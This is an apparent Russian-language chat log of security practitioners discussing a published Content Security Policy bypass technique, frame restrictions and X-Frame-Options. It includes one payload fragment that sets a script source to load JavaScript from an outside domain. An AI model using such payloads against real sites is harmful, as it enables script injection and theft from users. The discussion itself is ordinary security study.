PD
техническими статьями всем можно)
+
Кто про кавычки, зацените
https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
Size: a a a
2018 July 23
B
Там смешно (и грустно).
AS
Ща заценю
AS
Кто про кавычки, зацените
https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
да, прикольно
AS
а в CSP можно запретить фарймы на сторонние домены?
AS
X-Frame-Options: Deny
AS
ну это не ЦСП
AS
а в ЦСП?
AS
frame-src добавить надо
AS
и все
B
а в CSP можно запретить фарймы на сторонние домены?
По дефолту (self) запрещено стронние
AS
твой хак обломан?
B
Тут фича в том, что фрейм не сторонний
B
AS
x.src=%27//bo0om.ru/csp.js
AS
ну давй тестанем
B
Это уже подгрузка жс внешнего
AS
поставь self
AS
хочу глянуть